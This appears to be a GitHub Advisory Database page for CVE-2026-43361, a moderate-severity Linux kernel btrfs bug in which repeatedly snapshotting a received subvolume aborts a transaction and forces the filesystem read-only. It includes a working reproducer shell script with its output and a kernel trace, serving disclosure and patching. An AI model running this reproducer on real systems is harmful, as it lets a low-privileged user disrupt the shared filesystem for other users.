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In the Linux kernel, the following vulnerability has been...

Moderate severity Unreviewed Published May 8, 2026 to the GitHub Advisory Database • Updated May 15, 2026

Package

No package listedSuggest a package

Affected versions

Unknown

Patched versions

Unknown

Description

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort when snapshotting received subvolumes

Currently a user can trigger a transaction abort by snapshotting a
previously received snapshot a bunch of times until we reach a
BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we
can store in a leaf). This is very likely not common in practice, but
if it happens, it turns the filesystem into RO mode. The snapshot, send
and set_received_subvol and subvol_setflags (used by receive) don't
require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user
could use this to turn a filesystem into RO mode and disrupt a system.

Reproducer script:

$ cat test.sh
#!/bin/bash

DEV=/dev/sdi
MNT=/mnt/sdi

Use smallest node size to make the test faster.

mkfs.btrfs -f --nodesize 4K $DEV
mount $DEV $MNT

Create a subvolume and set it to RO so that it can be used for send.

btrfs subvolume create $MNT/sv
touch $MNT/sv/foo
btrfs property set $MNT/sv ro true

Send and receive the subvolume into snaps/sv.

mkdir $MNT/snaps
btrfs send $MNT/sv | btrfs receive $MNT/snaps

Now snapshot the received subvolume, which has a received_uuid, a

lot of times to trigger the leaf overflow.

total=500
for ((i = 1; i <= $total; i++)); do
echo -ne "\rCreating snapshot $i/$total"
btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null
done
echo

umount $MNT

When running the test:

$ ./test.sh
(...)
Create subvolume '/mnt/sdi/sv'
At subvol /mnt/sdi/sv
At subvol sv
Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type
Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system

And in dmesg/syslog:

$ dmesg
(...)
[251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!
[251067.629212] ------------[ cut here ]------------
[251067.630033] BTRFS: Transaction aborted (error -75)
[251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235
[251067.632851] Modules linked in: btrfs dm_zero (...)
[251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)
[251067.646165] Tainted: [W]=WARN
[251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
[251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]
[251067.649984] Code: f0 48 0f (...)
[251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292
[251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3
[251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750
[251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820
[251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0
[251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5
[251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000
[251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0
[251067.661972] Call Trace:
[251067.662292]
[251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]
[251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]
[251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]
[251067.665238] ? raw_spin_unlock+0x15/0x30
[251067.665837] ? record_root

---truncated---

References

Published by the National Vulnerability Database May 8, 2026
Published to the GitHub Advisory Database May 8, 2026
Last updated May 15, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

No CWEs

CVE ID

CVE-2026-43361

GHSA ID

GHSA-v9r8-chwp-vmrm

Source code

No known source code

Dependabot alerts are not supported on this advisory because it does not have a package from a supported ecosystem with an affected and fixed version.

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